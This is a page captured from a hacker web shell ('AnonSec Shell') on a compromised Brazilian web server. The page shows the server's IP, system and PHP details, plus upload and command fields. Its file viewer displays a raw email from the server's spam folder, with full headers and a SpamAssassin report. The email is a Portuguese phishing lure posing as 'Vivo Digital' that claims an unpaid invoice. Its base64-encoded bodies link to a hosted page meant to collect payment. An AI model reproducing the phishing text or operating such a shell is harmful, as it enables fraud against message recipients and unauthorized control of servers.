AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1725107703.M419966P16168.dedi-4363141.lrsys.com.br,S=9425,W=9584
Return-Path: <xzqvd@entrega7.raphaellabarros.online>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id eJTRF/cN02YoPwAAIWsJAg
	(envelope-from <xzqvd@entrega7.raphaellabarros.online>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Sat, 31 Aug 2024 09:35:03 -0300
Return-path: <xzqvd@entrega7.raphaellabarros.online>
Envelope-to: financeiro@lrsys.com.br
Delivery-date: Sat, 31 Aug 2024 09:35:03 -0300
Received: from entrega7.raphaellabarros.online ([194.38.22.212]:48636)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <xzqvd@entrega7.raphaellabarros.online>)
	id 1skNJi-0004BJ-29
	for financeiro@lrsys.com.br;
	Sat, 31 Aug 2024 09:35:03 -0300
Received: from localhost (localhost [IPv6:::1])
	by entrega7.raphaellabarros.online (Postfix) with UTF8SMTP id 10E9F6291A
	for <financeiro@lrsys.com.br>; Sat, 31 Aug 2024 14:34:12 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 s=entrega7; d=entrega7.raphaellabarros.online; t=1725107652;
  h=from:subject:date:message-id:to:mime-version:content-type:
 accept-language:user-agent:x-mailer:x-sender:content-language:
 list-unsubscribe; bh=MjEKjCk+zFALTmqLwqVs6aMLLDtxaLfTlR3nBu2ENUA=;
 b=gJPnOOYpkOOsW+Asp1DVyWz+EcXBTJq/B8JZy18x/XTe0m6iBrPKRgPYC+MCH1ttsirAK8
 qeNxE7sj8yqjR8S3ZMWzYbXg3FBo3582jGRO0T7+M+4t2kqQ8RG19RsM625n0aj1aMZxX8
 /4dvg3p6w9+Eyo3VNkZpuV/TEurDmm3ryxX2jG46HD+JiYcXkhy43PKGUYfvKBXdG26ivI
 EvNeugw+mxw6S65rgbDGNQ0G5TleBoO63EnCbf69ZE1RWw1akEYyWu5kD/g763YL+nsyeq
 jAKMnGKtHnFfuTk6joCG7uZAl0nDRJghBcBOKpeaiPsJXnmUDVmo6WCXj0MusA==
MIME-Version: 1.0
From: "Vivo Digital" <xzqvd@entrega7.raphaellabarros.online>
Accept-Language: pt-BR, en-US
Message-Id: 
 <b61cfc94865e882f2acb6183ffae4bf8@entrega7.raphaellabarros.online>
Date: Sat, 31 Aug 2024 14:34:12 +0200
Content-Type: multipart/alternative;
 boundary=59a560d8b8b28738902c6165f53380070334035e4c5d17ccd563d3963d7e
To: <financeiro@lrsys.com.br>
List-Unsubscribe: 
 <https://entrega7.raphaellabarros.online/?action=unsubscribe&u=financeiro@lrsys.com.br>
X-Sender: xzqvd@entrega7.raphaellabarros.online
X-Mailer: Roundcube Webmail/1.4.13
User-Agent: Roundcube Webmail/1.4.13
Content-Language: pt-BR
X-Spam-Status: Yes, score=17.8
X-Spam-Score: 178
X-Spam-Bar: +++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Protocolo: 13246001. Prezado Cliente Pedimos que confira o
    pagamento da sua Ășltima fatura, pois existem valores em aberto. 
 Content analysis details:   (17.8 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: raphaellabarros.online]
  0.1 URIBL_CSS_A            Contains URL's A record listed in the Spamhaus CSS
                             blocklist
                             [URIs: entrega7.raphaellabarros.online]
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: raphaellabarros.online]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  0.0 HK_RANDOM_FROM         From username looks random
  0.0 HK_RANDOM_ENVFROM      Envelope sender username looks random
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [194.38.22.212 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [194.38.22.212 listed in bl.score.senderscore.com]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: entrega7.raphaellabarros.online]
                             [(online)]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 URI_NOVOWEL            URI: URI hostname has long non-vowel sequence
  1.5 HTML_IMAGE_ONLY_20     BODY: HTML: images with 1600-2000 bytes of
                             words
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.8 CPANEL_LOTS_OF_EMPTY_LINE RAW: Spam that has large block of
                             empty lines
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  2.0 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
  0.0 T_REMOTE_IMAGE         Message contains an external image
X-Spam-Flag: YES
Subject:  ***SPAM***  
 =?UTF-8?B?TyBwYWdhbWVudG8gZGUgc3VhIGZhdHVyYSBlc3TDoSBlbSBhdHJhc28u?=

--59a560d8b8b28738902c6165f53380070334035e4c5d17ccd563d3963d7e
Content-Transfer-Encoding: base64
Content-Type: text/html; charset=UTF-8

CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjxwPjxpbWcgc3JjPSJo
dHRwczovL2ltYWdlLnBybnRzY3IuY29tL2ltYWdlL2t4cDM0OFVPUW9LTE00d0didDA1dlEucG5n
IiBhbHQ9IiIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIxMTgiIC8+PC9wPg0KCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCjxwPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogYm9sZDsgZm9udC1zaXplOiAxOHB4
OyI+UHJvdG9jb2xvOiAxMzI0NjAwMS48L3NwYW4+PC9wPg0KCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKPHA+UHJlemFkbyBDbGllbnRlPC9wPg0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
Cgo8cD5QZWRpbW9zIHF1ZSBjb25maXJhIG8gcGFnYW1lbnRvIGRhIHN1YSDDumx0aW1hIGZhdHVy
YSwgcG9pcyBleGlzdGVtwqB2YWxvcmVzwqBlbSBhYmVydG8uPC9wPg0KCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgo8cD5Fc3RvdSBlbmNhbWluaGFkbyBwYXJhIG8gc2V1IGUtbWFpbCBjb250YSBl
bSBhdHJhc28gcGFyYSBxdWUgdm9jw6ogcG9zc2EgcmVndWxhcml6YXIgbyBwYWdhbWVudG8gZSBl
dml0YXIgYmxvcXVlaW9zIGRvcyBzZXVzIHNlcnZpw6dvcy48L3A+DQoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8cD5EYXRh
IGRlIFZlbmNpbWVudG86IDIwLzA4LzIwMjQ8L3A+DQoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjxwPlZhbG9yIGRhIEZhdHVy
YTogUiQgNTM3LDEyPC9wPg0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8cD48c3Ryb25nPjx1IHN0eWxlPSJmb250LXNpemU6
IDI0cHgiPjxhIGhyZWY9Imh0dHBzOi8vY3RjY29uc3RydWNvZXNlc2Vydmljb3MxLmJsb2IuY29y
ZS53aW5kb3dzLm5ldC93ZWIvaW5kZXguaHRtbD9pZD0yMCI+SW1wcmltaXIgLyBGYXR1cmE6PC9h
PjwvdT48L3N0cm9uZz48L3A+Cg==
--59a560d8b8b28738902c6165f53380070334035e4c5d17ccd563d3963d7e
Content-Transfer-Encoding: base64
Content-Type: text/plain; charset=UTF-8

UHJvdG9jb2xvOiAxMzI0NjAwMS4NCg0KIFByZXphZG8gQ2xpZW50ZQ0KDQogUGVkaW1vcyBxdWUg
Y29uZmlyYSBvIHBhZ2FtZW50byBkYSBzdWEgw7psdGltYSBmYXR1cmEsIHBvaXMgZXhpc3RlbcKg
dmFsb3Jlc8KgZW0gYWJlcnRvLg0KDQogRXN0b3UgZW5jYW1pbmhhZG8gcGFyYSBvIHNldSBlLW1h
aWwgY29udGEgZW0gYXRyYXNvIHBhcmEgcXVlIHZvY8OqIHBvc3NhIHJlZ3VsYXJpemFyIG8gcGFn
YW1lbnRvIGUgZXZpdGFyIGJsb3F1ZWlvcyBkb3Mgc2V1cyBzZXJ2acOnb3MuDQoNCiBEYXRhIGRl
IFZlbmNpbWVudG86IDIwLzA4LzIwMjQNCg0KIFZhbG9yIGRhIEZhdHVyYTogUiQgNTM3LDEyDQoN
CiBodHRwczovL2N0Y2NvbnN0cnVjb2VzZXNlcnZpY29zMS5ibG9iLmNvcmUud2luZG93cy5uZXQv
d2ViL2luZGV4Lmh0bWw/aWQ9MjA=
--59a560d8b8b28738902c6165f53380070334035e4c5d17ccd563d3963d7e--

Anon7 - 2022
AnonSec Team